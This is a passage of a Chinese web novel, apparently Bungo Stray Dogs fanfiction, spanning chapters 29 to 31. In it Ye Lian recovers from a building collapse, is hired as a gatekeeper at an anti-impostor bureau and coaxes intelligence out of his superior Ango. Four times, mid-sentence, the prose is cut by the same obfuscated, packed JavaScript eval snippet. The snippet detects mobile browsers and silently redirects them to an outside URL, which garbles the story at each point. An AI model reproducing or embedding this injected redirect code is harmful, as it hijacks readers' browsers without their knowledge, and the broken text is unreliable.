对于食物,叶涟来者不拒。 吃完这个吃那个,吃得有条不紊,幸福得眼睛眯成月牙。 不过,吃归吃,他的心中还是略感到奇怪。 防伪局之前对待他的态度,可不是这样的…… ……不会是要把他养肥了杀吧? 这完全是叶涟以饕餮之心度君子之腹。 毕竟不管从什么角度想,防伪局都没有把他养肥再杀的道理。 然而,叶涟却是越想越觉得有可能。 如果不是想把他养肥了杀,怎么可能给他喂这么多食物? 他一边咀嚼,一边用眼角的余光扫视四周,试图找到一条能在危难之时逃跑的路线。 在叶涟进食的时刻,国木田也在观察着他。 此时的叶涟,比之前正常得多。 几乎完全没有暴雨夜那种恐怖的感觉…… 国木田的脑海中,闪过废墟下的那一幕。 叶涟不顾自身的重伤,死死地护着安吾。 在守护的执念下,即使是重伤昏迷,也未能让他的身躯倒下,他顽强地抵御着沉重的混凝土块,独自背负濒死的痛楚,为安吾保留了生存的可能。 两人分明没有认识多久,既没有雇佣关系,也没有亲缘上的关系。 要何等纯洁高尚的灵魂,才会出于本能地做出这般舍己为人的举动! 更令人惊诧的是…… 叶涟昏迷时,脸上竟然还带着微笑! 国木田承认,当他看见叶涟那浅淡的微笑,整个人仿佛被雷火击中般动弹不得。 那种骇人的伤势,常人根本不可能活命。 与谢野医生也表示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183904|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叶涟能活下来,简直是生命的奇迹。 也就是说,叶涟救人时,是完全不知道自己能活下来的。 其掉进废墟,没有当场死亡或昏迷。 但在废墟下,叶涟一定清楚地知道,自己的生命在流逝。 然而,在“即将死去”的痛苦与绝望之中…… 他没有任何怨怼或恐惧。 仅仅是微笑着,迎接了死亡的命运! ……这是何等耀眼的灵魂! 国木田作为侦探社的社员,也见过许多善良的人。 但叶涟在废墟中的微笑,是耀眼到哪怕回想起来、都能感觉到灵魂被灼烧的闪光! 在这光芒下,仿佛心灵中的所有污秽,都被净化一空。 “国木田君,长官怎么样了?” 叶涟的询问,将国木田从思绪中拉回现实。 短短的数分钟,所有零食就都进了叶涟的肚子。 受宠若惊的叶涟,自然感觉到了国木田的异样眼神,心中不由得犯起了嘀咕。 ……干嘛用那种眼神看他。 不就是吃得多了一点嘛! 一袋零食加一个炒面面包,又不算多…… 他一个年纪轻轻的饕餮,还是长身体的时候呢,吃完这些,连半饱的感觉都没有。 更何况,这些食物是国木田自愿给他的,不是他抢来的。 至于一直盯着他看么…… 还是长官好,他连着吃几份套餐,长官都能淡定地给他盛汤。 “长官?”国木田愣了一下,“你说坂口参事官?” 叶涟点了点头,“他没有大碍吧?” 其实叶涟知道,有提灯领域的效果摆在那,既然自己都没事,那安吾肯定也没什么事。 但关心一下还是要的。 起码可以提醒对方,他可是坂口安吾保下的人。 给他一点零食上的小恩小惠,不可能收买他。 更不可能轻易地把他养肥了杀掉——如果对他不好,长官绝不会放过他们! 他都那样保护长官了,涟假安威一下,应该也没问题…… 计划通! 而在国木田看来,叶涟的询问,完全是另外一回事。 青年濒死昏迷,又从噩梦中惊醒。 为不让他人担心,嘴上辩解着不是噩梦,却一边恐惧地将自身裹紧,一边不得不通过暴饮暴食令自身舒缓下来。 稍微放松了一点儿后,想到的第一件事,竟是询问安吾的安危。 ……这是怎样的精神! 太善良了,太温柔了,太神圣了…… 简直是在世的圣贤啊! 29.第29章 “坂口参事官……在医院。” 国木田移开视线,望向被子上的阳光。 他觉得,假如一直注视叶涟,灵魂会在其神圣的光辉中一直颤抖下去…… “什么?等一下……长官没有恢复吗?”叶涟惊讶道。 不是吧,长官不在,他还能找谁要饭。 万一那个叫三浦的,再来给他使绊子,找个借口把他关进囚室,不给他吃饭,想把他饿到黑化怎么办? 他一向不惮以最坏的恶意去揣测不给他吃饭的人! 叶涟将零食袋子收进大塑料袋里,把垃圾袋往垃圾桶远远一抛,精准命中。 旋即起身下地,套上一次性拖鞋: “他在哪个医院?” “你先别着急。” 国木田扶了扶眼镜,这青年也太关心坂口君了…… 这般的关怀与爱护,就算评选为感动横滨十大人物都不为过。 “他只是轻伤……和你对比起来是轻伤。全力治疗下,再过两到三个月就能好。” “两三个月……” 那也是很重的伤。 “而且,坂口参事官所在的医院,你得通过申请才能过去。”国木田道。 也就是说,不能经常见到长官……? 四舍五入,就是不能让长官请他大吃特吃。 再四舍五入,就是他要变成吃不饱也穿不暖、可怜巴巴的小白菜。 混蛋,不要小瞧他和食物之间的羁绊呀! “为什么不像治疗我一样,去治疗长官?”叶涟不解地看向国木田。 “假如不管什么伤势,都用那种手段治疗……” 与谢野的异能机制是重要信息,国木田再如何被叶涟所震撼,都不可能说出去。 于是他说了另外的原因: “人们会逐渐失去对生命的敬畏。” “原来如此?” 虽然这样说着,但叶涟其实不太明白,为什么有那么好用的异能却不用。 不过,毕竟不是他的异能力,他还受过那医疗异能的恩惠,没有资格去多问什么。 说不定,使用医疗异能要付出巨大的代价呢? 只能想办法多和安吾接触,展开他的提灯领域,加速安吾的伤势恢复。 “我是觉得,长官不管怎么治疗,都一定是敬畏生命的那种人。” 叶涟顿了顿,“保护了我和长官的那两位护卫怎么样了?” 国木田沉默了一会儿,低声道: “在走因公牺牲的认定程序。” “这样啊……” 叶涟也陷入了沉默。 他本来以为,那位挡了泥石巨人一掌的护卫有皮肤金属化的强大异能,也许可以活下来。 结果其可能是昏厥了过去,异能没有发动,血肉之躯没能抵挡房屋的倒塌。 于是最后,只有他和安吾侥幸生还。 是的,侥幸…… 假如钢筋直接扎穿脖颈,或者再多几根扎下来,他估计就得当场转生读档,安吾也会被埋在废墟里长眠。 想到这里,叶涟不由得握了握拳。 可恶,还是不够强! 他需要更多的抽牌机会,以及更多的食物! 一旁的国木田见他不说话,只是紧握双拳,心中不由得暗叹十六夜君的正义感。 自己之前错怪他了,十六夜君虽然有一点小小的恶趣味,但心还是很好的。 如今这般沉默,恐怕是在懊恼没能救下更多人吧…… 这样的人,怎么可能是杀死青木的凶手? 在与叶涟单独见面不久后,乱步先生就做出了“就算不是被胁迫,十六夜君也绝不是出于主观意愿杀死青木”的推测。 这推测听起来很奇怪。 毕竟如果不是有人胁迫,十六夜君也不愿意杀死青木,难不成青木还能自杀不成? 谁会把自己自杀到冰箱里啊?! 但现在看来,不愧是乱步先生,一下就看出了十六夜君的纯良秉性! “多谢你的零食。” 叶涟并不知道国木田又在想什么。 念及自身需要食物变强,他开始四下寻找自己的外套,准备披上外套出门。 房子一倒,他变成无家可归的小可怜,长官肯定会心疼他。 去要几张食堂的餐券,心软的神想必不会拒绝。 在长官那里装模作样几分钟,不说吃饱喝足五十年,至少五十顿是能有的吧? “那不是我的零食。” 国木田认真地纠正他的话: “是乱步先生拜托社长给你买的零食。并且,也是乱步先生请与谢野去救你。你要感谢,还是感谢乱步先生吧。” “原来是名侦探……” 是和安吾一样,也猜出了他能吃东西变强? 果然是有挂! 怎么这群人要么脑袋开挂,要么异能开挂。 不讲武德,欺负他一个没有挂的…… 哦,原来他有抽牌系统,那没事了。 叶涟到处找,都没找到外套,随手抓起被子,把被子披自己身上。 “都差不多啦,感谢你们侦探社……国木田君,你那位搭档呢?” 按理来说,侦探社社员和防伪局的职员一样,都不会单独行动。 国木田一个人守在他这里,有点可疑。 想到这里,叶涟瞥了一眼小地图。 代表国木田的光点呈现为红色,是人类,没问题。 门外有别的红点,也就是说不止国木田一人,应该还有其他安保人员。 安全。疑虑解除。 叶涟松了口气。 不能怪他疑心病太重,都是生活所迫。 “他不喜欢来防伪局。”国木田说。 “那他很有眼光嘛。” 叶涟点赞道,“我也不喜欢防伪局,把我锁在那么小一个房间里。” “……”国木田心中升起一丝惭愧。 他们是出于叶涟屋中有尸体、以及有伪人袭击的紧急情况,才将叶涟当场拘回局中。 本来该在观察与讯问后,审查是否继续羁押,谨慎地决定后续的处理方式。 但由于叶涟物理上的“出口伤人”,就临时将其关在了关押伪人的囚室中。 后来,局内对于其“是否是伪人”有争议,竟一直把他当伪人关着,没人去管他…… 虽然严格上来说,侦探社只是协助调查,国木田并不属于防伪局的职员,也无法真正决定防伪局内部的事宜…… 但作为将叶涟带回局里的人,他觉得叶涟受到不好的对待,自己也有责任。 “他不喜欢来这里,倒不是因为这个……” 国木田尝试扭转叶涟对防伪局的看法。 “据说是这里有他不想见的人——他不想来,只是出于私下的原因。” “哈?” 叶涟愣了一下,“他没有像我一样被关起来过吗?” 那位名叫太宰的青年,那种生吃过人的可怕眼神,他至今还记忆犹新呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188365|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 就算不是伪人、就算是有某种强大异能…… 也得是被关了一段时间,表现良好或者戴罪立功,才能加入侦探社吧! “没有。”国木田不明白叶涟为什么这么问。 “那个,国木田君……” 叶涟身上披斗篷似的披着被子,凑过去: “你悄悄和我说,你搭档他以前是做什么工作的?” “呃……” 国木田一时有些卡壳,含糊道,“他以前……在港口地区那边负责安全巡查。” “哦——港口保安。” 叶涟一副明白了的样子。 “……对。”国木田点头。 叶涟:“……” 对? 对什么对! 谁信啊?! 什么保安能有那种冰冷眼神,还有那种开挂的脑袋。 虽然很感谢侦探社的零食,但叶涟决定离侦探社远点。 有黑幕,有大大的黑幕! 侦探社包不是什么正派组织的。 叶涟紧了紧身上的被子,转身朝门外走去。 事到如今,只有长官能给他一些心理安慰,并让他的胃里安心。 就在这时,门外传来了敲门声。 叶涟动作一顿。 他对敲门声几乎有PTSD。 小地图上显示着红点,是人类,但也不能大意。 毕竟三浦和银发男也是人类。 人类对待人,难道就一定是人? 他看未必。 “请进。”国木田道。 门打开,两个身穿制服,看上去像文职人员的青年走进来。 一个抱着一叠崭新的制服外套,另一个手上拿着些纸质文件。 两人见叶涟醒着,脸上闪过惊讶的神色,不过也没有多问什么,径直走向了叶涟。 “十六夜君,这是给你的采用通知书。” 工作人员将文件递给叶涟: “麻烦你等一下跟我去办理入职手续。” “……入职?” 叶涟茫然地眨了眨眼,低头看向文件。 盖的章是危险生物对策局,也就是防伪局。具体让他干什么职位,上面没有写,而入职的依据是——情报部举荐。 “等等……不用考核什么的吗?” 看到情报部,叶涟立即明白了为什么会有这份采用通知。 长官对他,真是如亲人一般! 但是……直接把他塞进防伪局,长官的能量是不是太大了亿点? 连考试的形式都不走一下…… 黑幕竟是他自己?! “我们防伪局情况特殊,各部门都有少量的举荐名额,只需通过特定的考核即可。” 工作人员温和地微笑道: “你已经通过了考核……‘假如有丧尸危机爆发,先给自己头上戴个铁桶’的十六夜君。” “……?!” 叶涟瞳孔地震。 说到这个,他就能回想起来。 那份小川带过来的、测试是否为伪人,以及评估精神状态的测试卷…… 他当时填了什么来着…… 上面那些乱七八糟的题目,竟然是认真的? 所以说,他现在摇身一变—— 从囚犯,变成了防伪局的人? 不用再担心被关起来,还可以到食堂吃饭…… 叶涟的眼睛腾地亮起。 谁说这防伪局坏,这防伪局可太好了! 30.第30章 “好,你过关。” “好,你也过关,下一个。” “三浦队长,这么迟才来上班呢?” 叶涟拿起三浦放进传输槽里的证件,随意瞥了两眼。 其实他不需要比对证件、也不需要观察对方的模样和行为,就能识别出对方是否是伪人。 但样子还是要做一下。 即使已经稍微放慢了速度,叶涟依然是门卫中效率最高的那个。 没错,叶涟在防伪局的工作是—— 看门。 虽然防伪局有识别伪人的仪器,但那些仪器无不是造价昂贵且容易损坏。 不如人工。 以前,防伪局有尝试将仪器放在门口识别伪人,但很快就被强行破坏了。 于是后来就开始采取人工核验证件、比对面容与言行的方法。 在伪人泛滥的如今,这种方法在各大政府机关、公司企业乃至安保相对严格的居民小区都有推行。 然而最得伪人青睐的,还是防伪局。 不到一个月过去,足有六个伪人被叶涟逮住。 加上其他门卫抓住的,平均三到四天就会有一个伪人出现。 “我再迟也没迟到,比你这种敷衍的态度好。” 三浦见叶涟只是草草扫了两眼,就将证件材料交还给他,本就皱着的眉头更是拧成一团。 “真不好意思,我就算再敷衍,也有好好完成工作~” 叶涟笑眯眯的竖起大拇指,“本月业绩第一的门卫,正是在下。” “……” 这小子! 三浦瞪着他。 如果不是叶涟的工作能力强,这一个月也没有做出伤人的事,他非得给这无法无天的家伙一个教训不可。 就算有V来背锅,三浦依然觉得叶涟和青木的死有关。 而且,叶涟的发疯咬人症状,情报部并没有给出一个解释。 其身上疑点重重,留在防伪局里很可能是个祸患! 可偏偏…… 叶涟不管是效率还是辨认伪人的准确度,在门卫中都首屈一指。 与同事之间的关系,也相处得颇为和谐,虽然不和人太过亲近,却也从不与人起纷争,表现得随和大方且很有礼貌。 三浦观察了一个月,除了这家伙吃得略多,愣是没挑出任何其他的错处。 “等过一段时间,我肯定能得到表彰,而三浦队长呢,我记得是写了检讨吧。”叶涟笑道。 由于擅自将叶涟带离囚室,想先斩后奏地将他移交给检察厅,三浦被上级领导骂了个狗血淋头。 比起小川的停职,检讨不算什么惩罚,但也足够让三浦自认为在叶涟面前颜面扫地了。 “你别太得意。”三浦冷冷地看着他。 “这么凶……” 叶涟眨眨眼,往传递槽放了一包梅子糖: “其实我想和三浦队长言归于好。毕竟我们也没有什么深仇大怨,之前都是误会,没必要……” “我说了,我会一直盯着你。” 三浦打断他的话,拿回自己的证件,看也没看叶涟的糖,扭头离开。 虽然写了检讨,但他不觉得自己对叶涟的警惕与看法有错。 他错的只是程序上被坂口安吾抓住了漏洞而已,不代表叶涟是好人。 “……一直盯着,眼睛不会干吗。” 叶涟注视着传递槽里孤零零的梅子糖,低声嘟囔了一句。 他拿回糖果,默不作声地将包装袋撕下,自己吃了这颗糖。 防伪局的门卫采取的是两班制,叶涟负责夜班。 此时已是早晨,寻常职员都开始上班,他也就下班了。 某休息室。 咚咚。 叶涟朝门口的护卫打了声招呼,拎着一份寿司,敲响房门。 “请进。”房间里的人应了一声。 “长官——” 叶涟将门推开一条缝,探了探脑袋。 见只有安吾一人在里面,这才眉开眼笑地走进去。 安吾的伤势说轻不轻,说重又不特别严重。 其身上有多处骨折,主要在脊柱和脚踝,好在没有伤及脊髓,只需休养数月即可。 在叶涟的提灯领域下,恢复速度更是大大加快。 如今已经可以坐起身,处理一些简单的事务。 ……不对,怎么受了伤还在工作。 好可怕,长官和工作之间的羁绊。 “我已经吃过早餐了。” 安吾看了一眼叶涟手中的寿司。 涟君习惯在食堂大肆进食,如果要外带,只会带甜点或者零食。 算算时间,涟君应该已经去食堂用过了餐。 所以很容易猜到,寿司是给他带的。 ……自己只是请过一次饭,涟君就三番五次给自己带食物。 未免也太过重感情。 安吾下意识摸了摸自己的小臂。 上面的牙印已经消失。 叶涟一表现出对他的关心,他就忍不住想起埋在废墟中的黑暗时刻。 经过废墟一事,加上这么多天的提灯领域协助治疗,他和叶涟也越来越熟悉。 再想远离叶涟,几乎不可能…… 但如果靠得太近,若是日后涟君知晓自己靠近他的缘由…… 如此重感情的涟君,想必会很受伤。 ……真是麻烦啊。 在安吾走神的时候,叶涟已走到了窗边。 他将本就已经打开的百叶帘开得更宽了些,让阳光温和地晒进来。 旋即,他看向安吾。 安吾正坐在轮椅上,身前的桌面摆放着纸笔,以及一些零散的小物品,有钥匙、纽扣、钱包等等。 一开始,叶涟并不知道这些物品用来做什么。 直到后来,他看见安吾触碰完这些物品,沉寂一会儿就开始写报告,这才猜测到,安吾的异能力应该是通过触摸物品得到信息。 “可是今天的寿司里有烤鳗鱼和甜虾——” 叶涟笑吟吟地晃了晃袋子: “长官肯定会喜欢!” 似乎是认真地选了很久的模样…… 安吾迟疑了一下,“那你放在桌上吧。” 其实就算叶涟什么也不带,仅仅是过来探望一下,也会是很大的帮助。 提灯领域的效用很明显,只要靠近叶涟,全身就会涌现出一种暖呼呼的舒适感,伤口的恢复速度也能在暖意中大幅加快。 正是因此,安吾在伤势稍微稳定后,就将休养的地点从医院转为了防伪局,方便叶涟来找他。 叶涟将寿司放在桌角。 过去了将近一小时,安吾写完一份报告,揉了揉眉心,发现叶涟竟还醒着。 “不去休息一下吗?”安吾问道。 “没看见长官休息,我是不会去休息的。” 叶涟半躺在旁边的沙发上,手里拿着一个MP4,戴着一只耳机。 由于失眠思维存在,他给自己录了安眠曲。 在发现安吾也会因为伤痛难以入睡后,便送了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192473|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲给安吾。 他觉得,除了安眠曲,安吾也许需要更多的舒缓精神的曲子。 只不过他还没想好,该录什么歌。 安吾打量着他,半晌,轻轻叹了口气。 “……直说吧,找我什么事。” 虽然因为提灯领域,叶涟时常在他的附近晃悠,以加速他的伤势恢复。 但值班后,满身疲惫却躺在那里玩MP4,不像以往一样去睡觉…… 这就很可疑了。 “哎呀,长官不愧是长官~” 叶涟翻身坐起来,笑眯眯地搬了条椅子坐到安吾旁边: “我想出门。” 他如今已是防伪局的职员,却并没有单独离开防伪局的权限。 只能在防伪局大楼、以及大楼后面的职工公寓往返。 本来,只要能吃饱,叶涟就很满足。 但人的野心毕竟会越来越大,更何况闲不下来的玩家。 ……只待在防伪局,这和坐牢有什么区别! 活动范围从一个小的牢房,变成一个大的牢房,不还是牢房嘛。 “我找人陪你一起去。” 安吾注视着他,没有直接拒绝,也没有问叶涟出门做什么。 “好受伤——长官,你看看,我这真诚的眼睛,你再看看,我这破碎风化的心……” “先别脱衣服。”安吾冷静地按住他的手,“我现在手头没冰水泼你。” “噢……总之你还信不过我嘛?” 叶涟瘪着嘴,将掀起的衣服放下,“还要找人看着我?” 让他出去转转怎么了。 他只是个清澈无邪的大学生,值得拥有阳光开朗的户外活动。 “会有危险。”安吾道。 “我保证不对横滨做什么。”叶涟发誓。 “……我是说你会有危险。” “我不怕的,长官。” “我怕。” 刚说出口,安吾就后悔了。 一抬眼,果然看见叶涟那张脸笑得比花儿还灿烂。 “唉呀,长官——” 叶涟笑着指向自己,“你担心我~” “……我怕你出事。” 安吾扶了扶自己的眼镜,“你说你记忆混乱,不记得从前的事,但V不知道。他们可能会想来除掉你,防止你暴露他们组织的秘密。” “不至于吧……” 叶涟想了想,“我手里哪会有什么重大秘密……他们让一个异能者去我家清除组织相关痕迹也就算了,哪里有必要追着我杀。” “涟君。” 安吾斟酌着用词,“你有比你想象的,更高的价值。” 叶涟神情一动,“和长官保下我有关?” “我保下你是因为不觉得你杀害了青木……” “骗人。”叶涟凝望着安吾。 见安吾不说话,叶涟停顿了一会儿,缓和了语气: “你不告诉我这个,那总能告诉我V是个什么组织,那个银发男又是什么人吧?” “关于这些,我也不是很清楚……” “长官。” 叶涟打断他的话,“我看起来就那么好骗吗?” 身为情报部的参事官,还有搜集情报类的异能,怎么可能对V和银发男一无所知? “……如果告诉你,以涟君你的性格,恐怕不仅会深入调查,还会尝试去报复。” 安吾没有否认自己在撒谎。 “但他们都是很危险的家伙……所以,交给我来处理就好。” 31.第31章 “还真是可靠呢。” 叶涟的嘴角噙着浅浅的笑意,慢悠悠道: “这么护着我,我还怎么遗忘长官——我记得,好像有谁说过什么‘关于我的事就忘记吧’……好奇怪哦,是谁呢?” “……” 安吾一时语塞,“计划赶不上变化。” 他说得含糊而迅速,音量很低,就仿佛是在自言自语,叶涟险些没听清。 “是计划赶不上变化……” 叶涟笑道,“还是其实长官想和我心连心,故意忘记了计划?” “没有的事。” 安吾否认,“请不要再胡说八道了。” “长官脸红了哦~”叶涟故作惊讶道。 安吾没说话,抿着嘴,静静地看着叶涟。 虽然是有些窘迫…… 但周围又没有其他人,这点程度的拆穿,还不至于让他脸红。 叶涟只是在唬他,想看他的反应而已。 真是个恶劣的家伙…… “根本不上当啊……” 叶涟嘀咕了一句,稍稍俯下身,手指摩挲着安吾的眼镜框。 “长官本来计划着将我的罪名洗清,就远离我,或者说躲在暗处保护我,是这样吧?” “涟君。” 安吾扣住叶涟的手腕,“我们确实只该保持公事上的接触……” 他的话说一半,便戛然而止。 因为叶涟…… 将额头抵在了他的肩上。 安吾微微睁大眼睛,身体瞬间变得如石头般僵硬。 此刻的涟君…… 和在废墟下那时几乎一模一样! 只不过两人都没有流血,身体中涌动的是提灯领域带来的暖流。 周围也不是一片黑暗,反而十分光明。 也就让安吾能够看清叶涟的模样。 叶涟的右膝点在轮椅上,一只手抓着扶手,另一只手按着椅背。 随着他俯身的动作,几缕漆黑的发丝飘起来,在阳光的穿透下泛起火焰般的深红棕色,如同淬了血一般。 那些疏离的话语,顿时哽在了安吾的喉咙中。 他感到自己的小臂,传来一阵仿佛有虫子在爬的痒意。 这细密的麻痒飞速地蔓延全身,让安吾的皮肤轻微地颤栗。 “坂口参事官。” 叶涟低声笑道,“那我们现在已经有非公务上的接触了,你想怎么办呢?” “……你先下去。”安吾从齿缝中泄出几个音节。 “才不要。” 叶涟断然拒绝。 “除非长官把V和银发男的信息告诉我。” “他们很危险……” 安吾觉得,自己的话就像当时在废墟下,说“一定会有人来救援”一样。 是真话,却也正因是真话,而格外苍白无力。 “我明白。” 叶涟说,“但是,那种危险的家伙,我怎么放心让长官处理,自己却不闻不问?” 将有可能危及自身生命的东西,完全交由他人解决,这和把自己的性命拱手托付到他人手中,自己毫不去掌控有什么区别? 他可以死在与敌人的战斗中,却不想不经过战斗,就不明不白地走入致命的危险。 因此,敌人的信息,叶涟是一定要拿到手的。 然而,这句话在安吾耳中,就有了另外的含义—— 叶涟知晓敌人的危险,担心他的安全,想要和他共同面对,这才执拗地索取情报。 在废墟时,涟君保护他。 而到现在,走出了那片废墟,涟君依然想保护他。 “……既然你真的想知道。” 安吾的手指不自觉地蜷了蜷。 “V是一个以‘清除横滨的异能者’为目标的组织,来历神秘,行动诡谲。侦探社多年前就在调查它,但V极少有暴露出来的成员,我对它也知之甚少……” “而那位银发的青年,名字是‘伊万·亚历山德罗维奇·冈察洛夫’,异能名为‘悬崖’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197095|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……是死屋之鼠的成员。” “死屋之鼠?”叶涟疑惑。 “俄罗斯的一个盗贼团。里面有不少人在通缉名单上,伊万也在其中。但他们一直没被抓到,很不好对付。” 安吾道,“目前还不知道伊万会出现的缘由。假如V和死屋之鼠已经联手,谋划着在横滨制造混乱,那就很难办了。” “这么说,似乎确实有些麻烦……” 叶涟思索着。 目前还不知道,V和死屋之鼠到底是什么关系。 或许V可以暂放,但死屋之鼠…… 差点杀了他和长官,那么鼠也没有活着的必要了。 通通去地狱团建吧呵呵呵这群糟糕的家伙…… 他是没有正义的铁拳,但love的屠刀管够! 目前的问题是,他没有调查类的称号。 如果有这种称号,他只要找到线索,就能直接摸到鼠的老巢去。 然后啪的一下变身“黄昏处刑官”,再等到雨夜啪的一下戴上“雨夜屠夫”称号…… 加上“饕餮”在这段时间大吃特吃的加持,身体素质总共能提升到原有的四到五倍左右。 这样的身体素质,又有血肉艺术家和提灯领域的快速治疗,再有催眠师和人鱼歌唱家的精神攻击…… 总不能还打不过吧? ……不对不对,万一鼠也有挂呢。 叶涟的眼神凝重起来。 是了,在这个外挂乱飞的世界,不能排除死屋之鼠也有外挂的可能性。 还是再多吃点饭,稳健发育为妙! “……涟君。我已经把你想知道的都告诉了你,现在可以下去了吧。” 安吾的话打断了叶涟的思绪。 叶涟一直贴着,虽然没有重重地压在他身上,但安吾还是有种喘不过气的感觉。 涟君这家伙…… 不用什么阴谋诡计,仅仅是将他的头往肩膀一抵,就从自己这里套出了信息…… 真是手段了得!